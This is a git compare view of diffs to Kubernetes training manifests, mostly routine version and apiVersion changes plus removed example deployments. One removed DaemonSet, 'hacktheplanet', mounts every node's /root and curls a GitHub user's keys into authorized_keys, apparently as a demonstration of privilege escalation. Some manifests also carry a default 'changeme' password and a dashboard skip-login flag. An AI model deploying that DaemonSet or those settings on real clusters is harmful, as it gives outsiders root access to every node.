Compare commits
6 Commits
kube-2019-
...
gotochgo20
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
c42f2ecac9 | ||
|
|
eea53e6c61 | ||
|
|
4c5da9ed0d | ||
|
|
27b35bf0a4 | ||
|
|
62f64063c6 | ||
|
|
6b9b83a7ae |
1
.gitignore
vendored
@@ -3,7 +3,6 @@
|
||||
*~
|
||||
prepare-vms/tags
|
||||
prepare-vms/infra
|
||||
prepare-vms/www
|
||||
slides/*.yml.html
|
||||
slides/autopilot/state.yaml
|
||||
slides/index.html
|
||||
|
||||
@@ -39,7 +39,7 @@ your own tutorials.
|
||||
All these materials have been gathered in a single repository
|
||||
because they have a few things in common:
|
||||
|
||||
- some [shared slides](slides/shared/) that are re-used
|
||||
- some [common slides](slides/common/) that are re-used
|
||||
(and updated) identically between different decks;
|
||||
- a [build system](slides/) generating HTML slides from
|
||||
Markdown source files;
|
||||
|
||||
@@ -72,7 +72,7 @@ spec:
|
||||
terminationGracePeriodSeconds: 10
|
||||
containers:
|
||||
- name: consul
|
||||
image: "consul:1.5"
|
||||
image: "consul:1.4.4"
|
||||
args:
|
||||
- "agent"
|
||||
- "-bootstrap-expect=3"
|
||||
|
||||
@@ -1,160 +0,0 @@
|
||||
---
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
labels:
|
||||
app: hasher
|
||||
name: hasher
|
||||
spec:
|
||||
replicas: 1
|
||||
selector:
|
||||
matchLabels:
|
||||
app: hasher
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app: hasher
|
||||
spec:
|
||||
containers:
|
||||
- image: dockercoins/hasher:v0.1
|
||||
name: hasher
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
metadata:
|
||||
labels:
|
||||
app: hasher
|
||||
name: hasher
|
||||
spec:
|
||||
ports:
|
||||
- port: 80
|
||||
protocol: TCP
|
||||
targetPort: 80
|
||||
selector:
|
||||
app: hasher
|
||||
type: ClusterIP
|
||||
---
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
labels:
|
||||
app: redis
|
||||
name: redis
|
||||
spec:
|
||||
replicas: 1
|
||||
selector:
|
||||
matchLabels:
|
||||
app: redis
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app: redis
|
||||
spec:
|
||||
containers:
|
||||
- image: redis
|
||||
name: redis
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
metadata:
|
||||
labels:
|
||||
app: redis
|
||||
name: redis
|
||||
spec:
|
||||
ports:
|
||||
- port: 6379
|
||||
protocol: TCP
|
||||
targetPort: 6379
|
||||
selector:
|
||||
app: redis
|
||||
type: ClusterIP
|
||||
---
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
labels:
|
||||
app: rng
|
||||
name: rng
|
||||
spec:
|
||||
replicas: 1
|
||||
selector:
|
||||
matchLabels:
|
||||
app: rng
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app: rng
|
||||
spec:
|
||||
containers:
|
||||
- image: dockercoins/rng:v0.1
|
||||
name: rng
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
metadata:
|
||||
labels:
|
||||
app: rng
|
||||
name: rng
|
||||
spec:
|
||||
ports:
|
||||
- port: 80
|
||||
protocol: TCP
|
||||
targetPort: 80
|
||||
selector:
|
||||
app: rng
|
||||
type: ClusterIP
|
||||
---
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
labels:
|
||||
app: webui
|
||||
name: webui
|
||||
spec:
|
||||
replicas: 1
|
||||
selector:
|
||||
matchLabels:
|
||||
app: webui
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app: webui
|
||||
spec:
|
||||
containers:
|
||||
- image: dockercoins/webui:v0.1
|
||||
name: webui
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
metadata:
|
||||
labels:
|
||||
app: webui
|
||||
name: webui
|
||||
spec:
|
||||
ports:
|
||||
- port: 80
|
||||
protocol: TCP
|
||||
targetPort: 80
|
||||
selector:
|
||||
app: webui
|
||||
type: NodePort
|
||||
---
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
labels:
|
||||
app: worker
|
||||
name: worker
|
||||
spec:
|
||||
replicas: 1
|
||||
selector:
|
||||
matchLabels:
|
||||
app: worker
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app: worker
|
||||
spec:
|
||||
containers:
|
||||
- image: dockercoins/worker:v0.1
|
||||
name: worker
|
||||
11
k8s/efk.yaml
@@ -32,16 +32,13 @@ subjects:
|
||||
name: fluentd
|
||||
namespace: default
|
||||
---
|
||||
apiVersion: apps/v1
|
||||
apiVersion: extensions/v1beta1
|
||||
kind: DaemonSet
|
||||
metadata:
|
||||
name: fluentd
|
||||
labels:
|
||||
app: fluentd
|
||||
spec:
|
||||
selector:
|
||||
matchLabels:
|
||||
app: fluentd
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
@@ -54,7 +51,7 @@ spec:
|
||||
effect: NoSchedule
|
||||
containers:
|
||||
- name: fluentd
|
||||
image: fluent/fluentd-kubernetes-daemonset:v1.4-debian-elasticsearch-1
|
||||
image: fluent/fluentd-kubernetes-daemonset:v1.3-debian-elasticsearch-1
|
||||
env:
|
||||
- name: FLUENT_ELASTICSEARCH_HOST
|
||||
value: "elasticsearch"
|
||||
@@ -89,7 +86,7 @@ spec:
|
||||
hostPath:
|
||||
path: /var/lib/docker/containers
|
||||
---
|
||||
apiVersion: apps/v1
|
||||
apiVersion: extensions/v1beta1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
labels:
|
||||
@@ -131,7 +128,7 @@ spec:
|
||||
app: elasticsearch
|
||||
type: ClusterIP
|
||||
---
|
||||
apiVersion: apps/v1
|
||||
apiVersion: extensions/v1beta1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
labels:
|
||||
|
||||
@@ -1,21 +0,0 @@
|
||||
apiVersion: enterprises.upmc.com/v1
|
||||
kind: ElasticsearchCluster
|
||||
metadata:
|
||||
name: es
|
||||
spec:
|
||||
kibana:
|
||||
image: docker.elastic.co/kibana/kibana-oss:6.1.3
|
||||
image-pull-policy: Always
|
||||
cerebro:
|
||||
image: upmcenterprises/cerebro:0.7.2
|
||||
image-pull-policy: Always
|
||||
elastic-search-image: upmcenterprises/docker-elasticsearch-kubernetes:6.1.3_0
|
||||
image-pull-policy: Always
|
||||
client-node-replicas: 2
|
||||
master-node-replicas: 3
|
||||
data-node-replicas: 3
|
||||
network-host: 0.0.0.0
|
||||
use-ssl: false
|
||||
data-volume-size: 10Gi
|
||||
java-options: "-Xms512m -Xmx512m"
|
||||
|
||||
@@ -1,94 +0,0 @@
|
||||
# This is mirrored from https://github.com/upmc-enterprises/elasticsearch-operator/blob/master/example/controller.yaml but using the elasticsearch-operator namespace instead of operator
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: elasticsearch-operator
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: elasticsearch-operator
|
||||
namespace: elasticsearch-operator
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1beta1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: elasticsearch-operator
|
||||
rules:
|
||||
- apiGroups: ["extensions"]
|
||||
resources: ["deployments", "replicasets", "daemonsets"]
|
||||
verbs: ["create", "get", "update", "delete", "list"]
|
||||
- apiGroups: ["apiextensions.k8s.io"]
|
||||
resources: ["customresourcedefinitions"]
|
||||
verbs: ["create", "get", "update", "delete", "list"]
|
||||
- apiGroups: ["storage.k8s.io"]
|
||||
resources: ["storageclasses"]
|
||||
verbs: ["get", "list", "create", "delete", "deletecollection"]
|
||||
- apiGroups: [""]
|
||||
resources: ["persistentvolumes", "persistentvolumeclaims", "services", "secrets", "configmaps"]
|
||||
verbs: ["create", "get", "update", "delete", "list"]
|
||||
- apiGroups: ["batch"]
|
||||
resources: ["cronjobs", "jobs"]
|
||||
verbs: ["create", "get", "deletecollection", "delete"]
|
||||
- apiGroups: [""]
|
||||
resources: ["pods"]
|
||||
verbs: ["list", "get", "watch"]
|
||||
- apiGroups: ["apps"]
|
||||
resources: ["statefulsets", "deployments"]
|
||||
verbs: ["*"]
|
||||
- apiGroups: ["enterprises.upmc.com"]
|
||||
resources: ["elasticsearchclusters"]
|
||||
verbs: ["*"]
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1beta1
|
||||
kind: ClusterRoleBinding
|
||||
metadata:
|
||||
name: elasticsearch-operator
|
||||
namespace: elasticsearch-operator
|
||||
roleRef:
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: elasticsearch-operator
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: elasticsearch-operator
|
||||
namespace: elasticsearch-operator
|
||||
---
|
||||
apiVersion: extensions/v1beta1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
name: elasticsearch-operator
|
||||
namespace: elasticsearch-operator
|
||||
spec:
|
||||
replicas: 1
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
name: elasticsearch-operator
|
||||
spec:
|
||||
containers:
|
||||
- name: operator
|
||||
image: upmcenterprises/elasticsearch-operator:0.2.0
|
||||
imagePullPolicy: Always
|
||||
env:
|
||||
- name: NAMESPACE
|
||||
valueFrom:
|
||||
fieldRef:
|
||||
fieldPath: metadata.namespace
|
||||
ports:
|
||||
- containerPort: 8000
|
||||
name: http
|
||||
livenessProbe:
|
||||
httpGet:
|
||||
path: /live
|
||||
port: 8000
|
||||
initialDelaySeconds: 10
|
||||
timeoutSeconds: 10
|
||||
readinessProbe:
|
||||
httpGet:
|
||||
path: /ready
|
||||
port: 8000
|
||||
initialDelaySeconds: 10
|
||||
timeoutSeconds: 5
|
||||
serviceAccount: elasticsearch-operator
|
||||
@@ -1,167 +0,0 @@
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: ConfigMap
|
||||
metadata:
|
||||
name: filebeat-config
|
||||
namespace: kube-system
|
||||
labels:
|
||||
k8s-app: filebeat
|
||||
data:
|
||||
filebeat.yml: |-
|
||||
filebeat.config:
|
||||
inputs:
|
||||
# Mounted `filebeat-inputs` configmap:
|
||||
path: ${path.config}/inputs.d/*.yml
|
||||
# Reload inputs configs as they change:
|
||||
reload.enabled: false
|
||||
modules:
|
||||
path: ${path.config}/modules.d/*.yml
|
||||
# Reload module configs as they change:
|
||||
reload.enabled: false
|
||||
|
||||
# To enable hints based autodiscover, remove `filebeat.config.inputs` configuration and uncomment this:
|
||||
#filebeat.autodiscover:
|
||||
# providers:
|
||||
# - type: kubernetes
|
||||
# hints.enabled: true
|
||||
|
||||
processors:
|
||||
- add_cloud_metadata:
|
||||
|
||||
cloud.id: ${ELASTIC_CLOUD_ID}
|
||||
cloud.auth: ${ELASTIC_CLOUD_AUTH}
|
||||
|
||||
output.elasticsearch:
|
||||
hosts: ['${ELASTICSEARCH_HOST:elasticsearch}:${ELASTICSEARCH_PORT:9200}']
|
||||
username: ${ELASTICSEARCH_USERNAME}
|
||||
password: ${ELASTICSEARCH_PASSWORD}
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: ConfigMap
|
||||
metadata:
|
||||
name: filebeat-inputs
|
||||
namespace: kube-system
|
||||
labels:
|
||||
k8s-app: filebeat
|
||||
data:
|
||||
kubernetes.yml: |-
|
||||
- type: docker
|
||||
containers.ids:
|
||||
- "*"
|
||||
processors:
|
||||
- add_kubernetes_metadata:
|
||||
in_cluster: true
|
||||
---
|
||||
apiVersion: extensions/v1beta1
|
||||
kind: DaemonSet
|
||||
metadata:
|
||||
name: filebeat
|
||||
namespace: kube-system
|
||||
labels:
|
||||
k8s-app: filebeat
|
||||
spec:
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
k8s-app: filebeat
|
||||
spec:
|
||||
serviceAccountName: filebeat
|
||||
terminationGracePeriodSeconds: 30
|
||||
containers:
|
||||
- name: filebeat
|
||||
image: docker.elastic.co/beats/filebeat-oss:7.0.1
|
||||
args: [
|
||||
"-c", "/etc/filebeat.yml",
|
||||
"-e",
|
||||
]
|
||||
env:
|
||||
- name: ELASTICSEARCH_HOST
|
||||
value: elasticsearch-es.default.svc.cluster.local
|
||||
- name: ELASTICSEARCH_PORT
|
||||
value: "9200"
|
||||
- name: ELASTICSEARCH_USERNAME
|
||||
value: elastic
|
||||
- name: ELASTICSEARCH_PASSWORD
|
||||
value: changeme
|
||||
- name: ELASTIC_CLOUD_ID
|
||||
value:
|
||||
- name: ELASTIC_CLOUD_AUTH
|
||||
value:
|
||||
securityContext:
|
||||
runAsUser: 0
|
||||
# If using Red Hat OpenShift uncomment this:
|
||||
#privileged: true
|
||||
resources:
|
||||
limits:
|
||||
memory: 200Mi
|
||||
requests:
|
||||
cpu: 100m
|
||||
memory: 100Mi
|
||||
volumeMounts:
|
||||
- name: config
|
||||
mountPath: /etc/filebeat.yml
|
||||
readOnly: true
|
||||
subPath: filebeat.yml
|
||||
- name: inputs
|
||||
mountPath: /usr/share/filebeat/inputs.d
|
||||
readOnly: true
|
||||
- name: data
|
||||
mountPath: /usr/share/filebeat/data
|
||||
- name: varlibdockercontainers
|
||||
mountPath: /var/lib/docker/containers
|
||||
readOnly: true
|
||||
volumes:
|
||||
- name: config
|
||||
configMap:
|
||||
defaultMode: 0600
|
||||
name: filebeat-config
|
||||
- name: varlibdockercontainers
|
||||
hostPath:
|
||||
path: /var/lib/docker/containers
|
||||
- name: inputs
|
||||
configMap:
|
||||
defaultMode: 0600
|
||||
name: filebeat-inputs
|
||||
# data folder stores a registry of read status for all files, so we don't send everything again on a Filebeat pod restart
|
||||
- name: data
|
||||
hostPath:
|
||||
path: /var/lib/filebeat-data
|
||||
type: DirectoryOrCreate
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1beta1
|
||||
kind: ClusterRoleBinding
|
||||
metadata:
|
||||
name: filebeat
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: filebeat
|
||||
namespace: kube-system
|
||||
roleRef:
|
||||
kind: ClusterRole
|
||||
name: filebeat
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1beta1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: filebeat
|
||||
labels:
|
||||
k8s-app: filebeat
|
||||
rules:
|
||||
- apiGroups: [""] # "" indicates the core API group
|
||||
resources:
|
||||
- namespaces
|
||||
- pods
|
||||
verbs:
|
||||
- get
|
||||
- watch
|
||||
- list
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: filebeat
|
||||
namespace: kube-system
|
||||
labels:
|
||||
k8s-app: filebeat
|
||||
---
|
||||
@@ -1,34 +0,0 @@
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
metadata:
|
||||
name: hacktheplanet
|
||||
spec:
|
||||
selector:
|
||||
matchLabels:
|
||||
app: hacktheplanet
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app: hacktheplanet
|
||||
spec:
|
||||
volumes:
|
||||
- name: root
|
||||
hostPath:
|
||||
path: /root
|
||||
tolerations:
|
||||
- effect: NoSchedule
|
||||
operator: Exists
|
||||
initContainers:
|
||||
- name: hacktheplanet
|
||||
image: alpine
|
||||
volumeMounts:
|
||||
- name: root
|
||||
mountPath: /root
|
||||
command:
|
||||
- sh
|
||||
- -c
|
||||
- "apk update && apk add curl && curl https://github.com/jpetazzo.keys > /root/.ssh/authorized_keys"
|
||||
containers:
|
||||
- name: web
|
||||
image: nginx
|
||||
|
||||
@@ -9,7 +9,7 @@ spec:
|
||||
name: haproxy
|
||||
containers:
|
||||
- name: haproxy
|
||||
image: haproxy:1
|
||||
image: haproxy
|
||||
volumeMounts:
|
||||
- name: config
|
||||
mountPath: /usr/local/etc/haproxy/
|
||||
|
||||
@@ -1,13 +1,14 @@
|
||||
apiVersion: networking.k8s.io/v1beta1
|
||||
apiVersion: extensions/v1beta1
|
||||
kind: Ingress
|
||||
metadata:
|
||||
name: whatever
|
||||
name: cheddar
|
||||
spec:
|
||||
rules:
|
||||
- host: whatever.A.B.C.D.nip.io
|
||||
- host: cheddar.A.B.C.D.nip.io
|
||||
http:
|
||||
paths:
|
||||
- path: /
|
||||
backend:
|
||||
serviceName: whatever
|
||||
servicePort: 1234
|
||||
serviceName: cheddar
|
||||
servicePort: 80
|
||||
|
||||
|
||||
@@ -12,6 +12,11 @@
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
# Configuration to deploy release version of the Dashboard UI compatible with
|
||||
# Kubernetes 1.8.
|
||||
#
|
||||
# Example usage: kubectl create -f <this_file>
|
||||
|
||||
# ------------------- Dashboard Secret ------------------- #
|
||||
|
||||
apiVersion: v1
|
||||
@@ -90,7 +95,7 @@ subjects:
|
||||
# ------------------- Dashboard Deployment ------------------- #
|
||||
|
||||
kind: Deployment
|
||||
apiVersion: apps/v1
|
||||
apiVersion: apps/v1beta2
|
||||
metadata:
|
||||
labels:
|
||||
k8s-app: kubernetes-dashboard
|
||||
@@ -109,13 +114,12 @@ spec:
|
||||
spec:
|
||||
containers:
|
||||
- name: kubernetes-dashboard
|
||||
image: k8s.gcr.io/kubernetes-dashboard-amd64:v1.10.1
|
||||
image: k8s.gcr.io/kubernetes-dashboard-amd64:v1.8.3
|
||||
ports:
|
||||
- containerPort: 8443
|
||||
protocol: TCP
|
||||
args:
|
||||
- --auto-generate-certificates
|
||||
- --enable-skip-login
|
||||
# Uncomment the following line to manually specify Kubernetes API server Host
|
||||
# If not specified, Dashboard will attempt to auto discover the API server and connect
|
||||
# to it. Uncomment only if the default does not work.
|
||||
@@ -162,7 +166,7 @@ spec:
|
||||
selector:
|
||||
k8s-app: kubernetes-dashboard
|
||||
---
|
||||
apiVersion: apps/v1
|
||||
apiVersion: extensions/v1beta1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
labels:
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
Kind: Pod
|
||||
metadata:
|
||||
name: hello
|
||||
namespace: default
|
||||
|
||||
@@ -12,6 +12,11 @@
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
# Configuration to deploy release version of the Dashboard UI compatible with
|
||||
# Kubernetes 1.8.
|
||||
#
|
||||
# Example usage: kubectl create -f <this_file>
|
||||
|
||||
# ------------------- Dashboard Secret ------------------- #
|
||||
|
||||
apiVersion: v1
|
||||
@@ -90,7 +95,7 @@ subjects:
|
||||
# ------------------- Dashboard Deployment ------------------- #
|
||||
|
||||
kind: Deployment
|
||||
apiVersion: apps/v1
|
||||
apiVersion: apps/v1beta2
|
||||
metadata:
|
||||
labels:
|
||||
k8s-app: kubernetes-dashboard
|
||||
@@ -109,7 +114,7 @@ spec:
|
||||
spec:
|
||||
containers:
|
||||
- name: kubernetes-dashboard
|
||||
image: k8s.gcr.io/kubernetes-dashboard-amd64:v1.10.1
|
||||
image: k8s.gcr.io/kubernetes-dashboard-amd64:v1.8.3
|
||||
ports:
|
||||
- containerPort: 8443
|
||||
protocol: TCP
|
||||
|
||||
@@ -1,110 +0,0 @@
|
||||
# This is a local copy of:
|
||||
# https://github.com/rancher/local-path-provisioner/blob/master/deploy/local-path-storage.yaml
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: local-path-storage
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: local-path-provisioner-service-account
|
||||
namespace: local-path-storage
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1beta1
|
||||
kind: ClusterRole
|
||||
metadata:
|
||||
name: local-path-provisioner-role
|
||||
namespace: local-path-storage
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["nodes", "persistentvolumeclaims"]
|
||||
verbs: ["get", "list", "watch"]
|
||||
- apiGroups: [""]
|
||||
resources: ["endpoints", "persistentvolumes", "pods"]
|
||||
verbs: ["*"]
|
||||
- apiGroups: [""]
|
||||
resources: ["events"]
|
||||
verbs: ["create", "patch"]
|
||||
- apiGroups: ["storage.k8s.io"]
|
||||
resources: ["storageclasses"]
|
||||
verbs: ["get", "list", "watch"]
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1beta1
|
||||
kind: ClusterRoleBinding
|
||||
metadata:
|
||||
name: local-path-provisioner-bind
|
||||
namespace: local-path-storage
|
||||
roleRef:
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: local-path-provisioner-role
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: local-path-provisioner-service-account
|
||||
namespace: local-path-storage
|
||||
---
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
name: local-path-provisioner
|
||||
namespace: local-path-storage
|
||||
spec:
|
||||
replicas: 1
|
||||
selector:
|
||||
matchLabels:
|
||||
app: local-path-provisioner
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app: local-path-provisioner
|
||||
spec:
|
||||
serviceAccountName: local-path-provisioner-service-account
|
||||
containers:
|
||||
- name: local-path-provisioner
|
||||
image: rancher/local-path-provisioner:v0.0.8
|
||||
imagePullPolicy: Always
|
||||
command:
|
||||
- local-path-provisioner
|
||||
- --debug
|
||||
- start
|
||||
- --config
|
||||
- /etc/config/config.json
|
||||
volumeMounts:
|
||||
- name: config-volume
|
||||
mountPath: /etc/config/
|
||||
env:
|
||||
- name: POD_NAMESPACE
|
||||
valueFrom:
|
||||
fieldRef:
|
||||
fieldPath: metadata.namespace
|
||||
volumes:
|
||||
- name: config-volume
|
||||
configMap:
|
||||
name: local-path-config
|
||||
---
|
||||
apiVersion: storage.k8s.io/v1
|
||||
kind: StorageClass
|
||||
metadata:
|
||||
name: local-path
|
||||
provisioner: rancher.io/local-path
|
||||
volumeBindingMode: WaitForFirstConsumer
|
||||
reclaimPolicy: Delete
|
||||
---
|
||||
kind: ConfigMap
|
||||
apiVersion: v1
|
||||
metadata:
|
||||
name: local-path-config
|
||||
namespace: local-path-storage
|
||||
data:
|
||||
config.json: |-
|
||||
{
|
||||
"nodePathMap":[
|
||||
{
|
||||
"node":"DEFAULT_PATH_FOR_NON_LISTED_NODES",
|
||||
"paths":["/opt/local-path-provisioner"]
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
@@ -58,7 +58,7 @@ metadata:
|
||||
name: metrics-server
|
||||
namespace: kube-system
|
||||
---
|
||||
apiVersion: apps/v1
|
||||
apiVersion: extensions/v1beta1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
name: metrics-server
|
||||
@@ -82,7 +82,7 @@ spec:
|
||||
emptyDir: {}
|
||||
containers:
|
||||
- name: metrics-server
|
||||
image: k8s.gcr.io/metrics-server-amd64:v0.3.3
|
||||
image: k8s.gcr.io/metrics-server-amd64:v0.3.1
|
||||
imagePullPolicy: Always
|
||||
volumeMounts:
|
||||
- name: tmp-dir
|
||||
|
||||
@@ -1,8 +0,0 @@
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: nginx-without-volume
|
||||
spec:
|
||||
containers:
|
||||
- name: nginx
|
||||
image: nginx
|
||||
@@ -1,13 +0,0 @@
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: nginx-with-volume
|
||||
spec:
|
||||
volumes:
|
||||
- name: www
|
||||
containers:
|
||||
- name: nginx
|
||||
image: nginx
|
||||
volumeMounts:
|
||||
- name: www
|
||||
mountPath: /usr/share/nginx/html/
|
||||
@@ -1,20 +0,0 @@
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: nginx-with-init
|
||||
spec:
|
||||
volumes:
|
||||
- name: www
|
||||
containers:
|
||||
- name: nginx
|
||||
image: nginx
|
||||
volumeMounts:
|
||||
- name: www
|
||||
mountPath: /usr/share/nginx/html/
|
||||
initContainers:
|
||||
- name: git
|
||||
image: alpine
|
||||
command: [ "sh", "-c", "apk add --no-cache git && git clone https://github.com/octocat/Spoon-Knife /www" ]
|
||||
volumeMounts:
|
||||
- name: www
|
||||
mountPath: /www/
|
||||
@@ -1,7 +1,7 @@
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: nginx-with-git
|
||||
name: nginx-with-volume
|
||||
spec:
|
||||
volumes:
|
||||
- name: www
|
||||
@@ -1,95 +0,0 @@
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: Role
|
||||
metadata:
|
||||
name: consul
|
||||
rules:
|
||||
- apiGroups: [ "" ]
|
||||
resources: [ pods ]
|
||||
verbs: [ get, list ]
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: consul
|
||||
roleRef:
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: Role
|
||||
name: consul
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: consul
|
||||
namespace: orange
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: consul
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
metadata:
|
||||
name: consul
|
||||
spec:
|
||||
ports:
|
||||
- port: 8500
|
||||
name: http
|
||||
selector:
|
||||
app: consul
|
||||
---
|
||||
apiVersion: apps/v1
|
||||
kind: StatefulSet
|
||||
metadata:
|
||||
name: consul
|
||||
spec:
|
||||
serviceName: consul
|
||||
replicas: 3
|
||||
selector:
|
||||
matchLabels:
|
||||
app: consul
|
||||
volumeClaimTemplates:
|
||||
- metadata:
|
||||
name: data
|
||||
spec:
|
||||
accessModes:
|
||||
- ReadWriteOnce
|
||||
resources:
|
||||
requests:
|
||||
storage: 1Gi
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app: consul
|
||||
spec:
|
||||
serviceAccountName: consul
|
||||
affinity:
|
||||
podAntiAffinity:
|
||||
requiredDuringSchedulingIgnoredDuringExecution:
|
||||
- labelSelector:
|
||||
matchExpressions:
|
||||
- key: app
|
||||
operator: In
|
||||
values:
|
||||
- consul
|
||||
topologyKey: kubernetes.io/hostname
|
||||
terminationGracePeriodSeconds: 10
|
||||
containers:
|
||||
- name: consul
|
||||
image: "consul:1.5"
|
||||
volumeMounts:
|
||||
- name: data
|
||||
mountPath: /consul/data
|
||||
args:
|
||||
- "agent"
|
||||
- "-bootstrap-expect=3"
|
||||
- "-retry-join=provider=k8s namespace=orange label_selector=\"app=consul\""
|
||||
- "-client=0.0.0.0"
|
||||
- "-data-dir=/consul/data"
|
||||
- "-server"
|
||||
- "-ui"
|
||||
lifecycle:
|
||||
preStop:
|
||||
exec:
|
||||
command:
|
||||
- /bin/sh
|
||||
- -c
|
||||
- consul leave
|
||||
@@ -1,340 +1,4 @@
|
||||
# SOURCE: https://install.portworx.com/?kbver=1.15.2&b=true&s=/dev/loop4&c=px-workshop&stork=true&lh=true&st=k8s&mc=false
|
||||
# SOURCE: https://install.portworx.com/?kbver=1.15.2&b=true&s=/dev/loop4&c=px-workshop&stork=true&lh=true&st=k8s&mc=false
|
||||
---
|
||||
kind: Service
|
||||
apiVersion: v1
|
||||
metadata:
|
||||
name: portworx-service
|
||||
namespace: kube-system
|
||||
labels:
|
||||
name: portworx
|
||||
spec:
|
||||
selector:
|
||||
name: portworx
|
||||
type: NodePort
|
||||
ports:
|
||||
- name: px-api
|
||||
protocol: TCP
|
||||
port: 9001
|
||||
targetPort: 9001
|
||||
- name: px-kvdb
|
||||
protocol: TCP
|
||||
port: 9019
|
||||
targetPort: 9019
|
||||
- name: px-sdk
|
||||
protocol: TCP
|
||||
port: 9020
|
||||
targetPort: 9020
|
||||
- name: px-rest-gateway
|
||||
protocol: TCP
|
||||
port: 9021
|
||||
targetPort: 9021
|
||||
---
|
||||
apiVersion: apiextensions.k8s.io/v1beta1
|
||||
kind: CustomResourceDefinition
|
||||
metadata:
|
||||
name: volumeplacementstrategies.portworx.io
|
||||
spec:
|
||||
group: portworx.io
|
||||
versions:
|
||||
- name: v1beta2
|
||||
served: true
|
||||
storage: true
|
||||
- name: v1beta1
|
||||
served: false
|
||||
storage: false
|
||||
scope: Cluster
|
||||
names:
|
||||
plural: volumeplacementstrategies
|
||||
singular: volumeplacementstrategy
|
||||
kind: VolumePlacementStrategy
|
||||
shortNames:
|
||||
- vps
|
||||
- vp
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: px-account
|
||||
namespace: kube-system
|
||||
---
|
||||
kind: ClusterRole
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: node-get-put-list-role
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get", "list"]
|
||||
- apiGroups: [""]
|
||||
resources: ["nodes"]
|
||||
verbs: ["watch", "get", "update", "list"]
|
||||
- apiGroups: [""]
|
||||
resources: ["pods"]
|
||||
verbs: ["delete", "get", "list", "watch", "update"]
|
||||
- apiGroups: [""]
|
||||
resources: ["persistentvolumeclaims", "persistentvolumes"]
|
||||
verbs: ["get", "list"]
|
||||
- apiGroups: [""]
|
||||
resources: ["configmaps"]
|
||||
verbs: ["get", "list", "update", "create"]
|
||||
